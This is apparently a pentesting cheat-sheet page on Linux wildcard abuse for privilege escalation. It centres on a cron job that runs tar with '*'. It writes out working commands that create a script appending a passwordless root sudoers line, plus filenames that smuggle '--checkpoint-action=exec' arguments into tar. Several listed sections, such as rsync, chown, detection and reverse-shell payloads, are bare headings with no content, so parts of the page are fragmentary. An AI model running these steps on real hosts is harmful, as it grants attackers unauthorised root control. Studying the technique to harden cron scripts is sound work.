πWildcard Abuse
π― Overview
Wildcard characters (*, ?, []) interpreted by shell can be abused to inject command arguments in scripts and cron jobs for privilege escalation.
π Wildcard Characters
*
Matches any number of characters
?
Matches single character
[]
Matches characters in brackets
~
User home directory
-
Range in brackets
π― tar Command Abuse (Most Common)
Vulnerable Cron Job Example
# Cron job with wildcard
*/01 * * * * cd /home/user && tar -zcf backup.tar.gz *Exploitation Steps
# 1. Create malicious script
echo 'echo "user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
# 2. Create argument injection files
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1
# 3. Wait for cron execution
# 4. Check sudo privileges
sudo -lHow it works: Wildcard * expands to all filenames, making tar execute:
π§ Other Vulnerable Commands
rsync Abuse
chown Abuse
π Detection & Enumeration
Find Vulnerable Scripts
Quick Check Script
π Common Payloads
Add Sudo Privileges
Create SUID Binary
Reverse Shell
π Key Points
Wildcards expand to filenames - creating fake arguments
tar is most common target -
--checkpoint-action=execWorks with cron jobs - automatic execution as different user
File creation required - need write access to target directory
Timing matters - wait for scheduled execution
Wildcard abuse turns shell expansion features against the system - transforming filename globbing into arbitrary command execution for privilege escalation.
Last updated